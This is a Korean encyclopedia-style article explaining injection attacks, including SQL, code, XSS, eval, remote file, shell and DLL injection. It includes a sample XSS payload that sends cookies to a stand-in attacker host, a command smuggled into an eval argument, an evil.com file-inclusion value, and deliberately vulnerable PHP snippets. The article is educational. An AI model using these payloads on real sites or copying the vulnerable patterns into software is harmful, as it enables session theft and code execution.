인젝션
인젝션(injection)은 공격자가 신뢰할 수 없는 입력을 프로그램에 주입하도록 하는 공격을 의미한다.[1]
목차
개요
인젝션은 공격자가 신뢰할 수 없는 입력을 프로그램에 주입하도록 하는 공격을 의미하며 이를 통해 해당 프로그램의 실행 과정의 변경을 유도하거나 공격자의 변경 질의를 통해 결과값을 다르게 나오도록 할 수 있다. 다양한 방법으로 악용될 수 있는데 이 공격 방법을 통해 관리자 권한을 획득하거나 악성코드를 전파해서 정상적인 서비스 운영을 못하게 할 수도 있으며 개인정보와 같은 데이터를 획득할 수도 있으며, 데이터의 무결성 손실 혹은 전체 시스템을 손상시키는 등의 악용될 수 있는 범위는 무궁무진하다. 인젝션의 근간은 웹 애플리케이션(web application) 단에서 수행되는 공격이다.
종류
SQL 인젝션
- SQL 인젝션(SQL Injection) : 코드 인젝션의 한 기법으로, 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격 기술을 말한다. 주로 사용자가 입력한 데이터를 제대로 필터링, 이스케이핑하지 못한 경우 발생한다.
Code 인젝션
- Code 인젝션(Code Injection) : 유효하지 않은 데이터를 실행함으로써 야기되는 소프트웨어 버그의 부당한 사용이다. 삽입은 공격자에 의해서 취약한 컴퓨터 프로그램 코드를 삽입하고 실행을 변경하는 방식으로 이용된다. 성공적인 코드 인젝션은 이것을 이용한 웜의 전파 같이 종종 처참한 결과를 보여준다.
- 삽입 취약점은 애플리케이션이 인터프리터에 신뢰할 수 없는 데이터를 보낼 때 발생한다. 삽입 취약점은 매우 일반적이며 특히 낡은 코드에서 그렇다. 이것들은 주로 SQL, LDAP, Xpath, 또는 NoSQL 쿼리들(OS 명령어; XML 파서, SMTP 헤더, 인수 등)에서 발견된다. 삽입 취약점은 코드 검사 때에는 발견하기 쉽지만, 테스트 시에는 발견하기 어려운 경우가 많다. 취약점 스캐너와 퍼저들은 공격자가 삽입 취약점을 찾는 것을 도와준다.
활용
HTML 스크립트 삽입
웹 서버는 게스트북 스크립트를 가지는데, 이것은 아래와 같은 메시지를 받는다.
Very nice site!
- 그러나 악의적인 사용자의 게스트북의 코드 인젝션 취약점을 알고 다음과 같은 메시지를 작성할 것이다.
Nice site, I think I'll take it. >script<document.location="http://some_attacker/cookie.cgi?" + document.cookie>/script<
- 만약 다른 사용자가 이 페이지를 보면 삽입된 코드가 실행될 것이다. 이 코드는 공격자가 다른 사용자인것처럼 가장할 수 있다. 그러나 같은 소프트웨어 버그가 우연히 발생할 수 있는데, 아래와 같은 안좋은 HTML 코드가 그것이다.
That post was awesome, <:)
- HTML/스크립트 삽입은 인기있는 분야이며 "Cross-Site Scripting", 또는 "XSS"로 불린다.[2]
동적 계산(evaluation) 취약점
eval 삽입 취약점은 eval 함수로 들어가는 문자열 입력을 공격자가 제어할 수 있을 때 발생한다.
$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');
"eval"의 인자는 PHP에서 실행되므로 추가적인 명령어가 첨부될 수 있다. 예를 들면 "arg"는 "10; system('/bin/echo uh-oh')"로 세팅될 수 있고, 이 경우 이 프로그램을 실행하는 서버는 "/bin/echo"를 실행하게 된다.[2]
객체 삽입
PHP는 객체의 직렬화와 역직렬화를 허용한다. 만약 신뢰되지 않은 입력이 역질렬화 함수에 허용된다면, 악의적인 공격이 가능해진다.[2]
원격 파일 삽입
PHP 프로그램을 가정하면,
<?php $color = 'blue'; if (isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; require( $color . '.php' ); ?>
이 예시는 단지 blue.php나 red.php 같은 색상 파일들로 여겨지지만, 공격자가 COLOR=http://evil.com/exploit를 작성할 시에는 PHP가 외부 파일을 로드하게 된다.[2]
셸 삽입
셸 삽입은 유닉스 셸의 이름을 땄지만 소프트웨어가 명령 줄 인터페이스를 실행하는 것을 허용한 대부분의 시스템에도 적용될 수 있다. 관련된 함수로는 system(), StartProcess(), 그리고 System.Diagnostics.Process.Start()가 있다. 아래의 짧은 PHP 프로그램을 보면, funnytext 라는 외부 프로그램을 실행한다.
<?php passthru("/bin/funnytext " . $_GET['USER_INPUT']); ?>[2]
DLL Injection
- DLL 인젝션(DLL Injection) : 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술이다. DLL 인젝션은 외부 프로그램을 통해 다른 프로그램에 저작자가 의도하거나 예상하지 않은 영향을 미치기 위해 사용된다. 예를 들면 삽입된 코드는 시스템 함수 호출을 후킹 하거나 또는 보통 방식으로는 읽을 수 없는 패스워드 텍스트 박스의 내용을 읽을 수 있다. 임의적인 코드를 삽입하는데 사용되는 프로그램을 DLL injector라고 부른다.[3]
활용
프로그램 기능 개선 및 버그 패치
어떤 프로그램의 소스코드가 없거나 수정이 여의치 않을 때 DLL 인젝션을 사용하여 전혀 새로운 기능을 추가하거나, 문제가 있는 코드와 데이터를 수정할 수 있다.[4] (2) 메시지 후킹 Windows OS에서 기본으로 제공되는 메시지 후킹 기능도 일종의 DLL인젝션 기법이라고 볼 수 있다. 등록된 후킹 DLL을 OS에서 직접 인젝션 시켜준다는 차이점이 있을 뿐이다.[4]
API 후킹
개발 프로젝트에도 많이 사용되는 API 후킹을 할 때 DLL 인젝션 기법이 많이 사용된다. 후킹 함수를 DLL 형태로 만든 후 후킹을 원하는 프로세스에 간단히 인젝션하는 것만으로도 API 후킹이 완성된다. 이 역시 삽입된 DLL은 해당 프로세스의 메모리에 대한 접근 권한을 가지고 있다는 특성을 잘 활용한 것이다.[4]
기타 응용 프로그램
주로 PC 사용자들을 감시하고 관리하기 위한 애플리케이션들에서 사용되기도 한다. 유해 사이트 접속 차단, PC 사용 모니터링 프로그램 등을 예로 들 수 있다.[4]
악성코드
정상적인 프로세스(winlogon.exe, services.exe, svchost.exe, explorer.exe 등)에 몰래 숨어 들어가 백도어 포트를 열어서 외부에서 접속을 시도하거나, 키로깅 기능으로 사용자의 개인 정보를 훔치는 등의 악의적인 짓을 한다. 따라서 악성코드 제작자들이 사용하는 기법을 잘 알아야 그에 대한 대응책을 세울 수 있다.[4]
각주
참고자료
같이 보기